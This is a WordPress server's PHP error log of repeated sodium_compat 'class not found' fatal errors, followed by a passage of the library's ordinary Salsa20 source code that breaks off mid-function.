[07-Jan-2026 04:24:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[07-Jan-2026 04:24:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[07-Jan-2026 04:24:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[07-Jan-2026 04:24:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[07-Jan-2026 04:24:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[07-Jan-2026 04:24:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[07-Jan-2026 04:24:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[07-Jan-2026 04:24:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[13-Jan-2026 06:30:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[13-Jan-2026 06:30:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[13-Jan-2026 06:30:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[13-Jan-2026 06:30:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[13-Jan-2026 06:30:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[13-Jan-2026 06:30:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-Jan-2026 06:30:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[13-Jan-2026 06:30:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[13-Jan-2026 06:30:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[13-Jan-2026 06:30:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[13-Jan-2026 06:30:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[13-Jan-2026 06:30:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[13-Jan-2026 06:30:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[13-Jan-2026 06:30:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[13-Jan-2026 06:30:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[13-Jan-2026 06:30:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-Jan-2026 00:00:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-Jan-2026 00:00:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-Jan-2026 00:00:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-Jan-2026 00:00:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-Jan-2026 00:01:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-Jan-2026 00:01:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Jan-2026 00:01:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Jan-2026 00:01:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Jan-2026 00:01:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-Jan-2026 00:01:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-Jan-2026 00:01:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-Jan-2026 00:01:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-Jan-2026 00:01:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-Jan-2026 00:01:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-Jan-2026 00:01:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-Jan-2026 00:01:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-Jan-2026 00:18:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-Jan-2026 00:18:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-Jan-2026 00:18:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-Jan-2026 00:18:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-Jan-2026 00:18:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-Jan-2026 00:18:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Jan-2026 00:18:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-Jan-2026 00:18:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-Jan-2026 00:18:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[14-Jan-2026 00:18:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-Jan-2026 00:18:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-Jan-2026 00:18:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-Jan-2026 00:18:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-Jan-2026 00:18:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[14-Jan-2026 00:18:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-Jan-2026 00:18:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[21-Feb-2026 02:57:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[21-Feb-2026 02:57:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[21-Feb-2026 02:57:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[21-Feb-2026 02:57:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[21-Feb-2026 02:57:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[21-Feb-2026 02:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[21-Feb-2026 02:57:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[21-Feb-2026 02:57:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[21-Feb-2026 02:57:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[21-Feb-2026 02:57:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[21-Feb-2026 02:57:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[21-Feb-2026 02:57:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[21-Feb-2026 02:57:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[21-Feb-2026 02:57:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[21-Feb-2026 02:57:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[21-Feb-2026 02:57:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
Core/Salsa20.php000064400000020051152222652550007356 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Salsa20
 */
abstract class ParagonIE_Sodium_Core_Salsa20 extends ParagonIE_Sodium_Core_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $j0  = $x0  = 0x61707865;
            $j5  = $x5  = 0x3320646e;
            $j10 = $x10 = 0x79622d32;
            $j15 = $x15 = 0x6b206574;
        } else {
            $j0  = $x0  = self::load_4(self::substr($c, 0, 4));
            $j5  = $x5  = self::load_4(self::substr($c, 4, 4));
            $j10 = $x10 = self::load_4(self::substr($c, 8, 4));
            $j15 = $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $j1  = $x1  = self::load_4(self::substr($k, 0, 4));
        $j2  = $x2  = self::load_4(self::substr($k, 4, 4));
        $j3  = $x3  = self::load_4(self::substr($k, 8, 4));
        $j4  = $x4  = self::load_4(self::substr($k, 12, 4));
        $j6  = $x6  = self::load_4(self::substr($in, 0, 4));
        $j7  = $x7  = self::load_4(self::substr($in, 4, 4));
        $j8  = $x8  = self::load_4(self::substr($in, 8, 4));
        $j9  = $x9  = self::load_4(self::substr($in, 12, 4));
        $j11 = $x11 = self::load_4(self::substr($k, 16, 4));
        $j12 = $x12 = self::load_4(self::substr($k, 20, 4));
        $j13 = $x13 = self::load_4(self::substr($k, 24, 4));
        $j14 = $x14 = self::load_4(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);

            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);

            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);

            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);

            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);

            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);

            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);

            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        $x0  += $j0;
        $x1  += $j1;
        $x2  += $j2;
        $x3  += $j3;
        $x4  += $j4;
        $x5  += $j5;
        $x6  += $j6;
        $x7  += $j7;
        $x8  += $j8;
        $x9  += $j9;
        $x10 += $j10;
        $x11 += $j11;
        $x12 += $j12;
        $x13 += $j13;
        $x14 += $j14;
        $x15 += $j15;

        return self::store32_le($x0) .
            self::store32_le($x1) .
            self::store32_le($x2) .
            self::store32_le($x3) .
            self::store32_le($x4) .
            self::store32_le($x5) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9) .
            self::store32_le($x10) .
            self::store32_le($x11) .
            self::store32_le($x12) .
            self::store32_le($x13) .
            self::store32_le($x14) .
            self::store32_le($x15);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
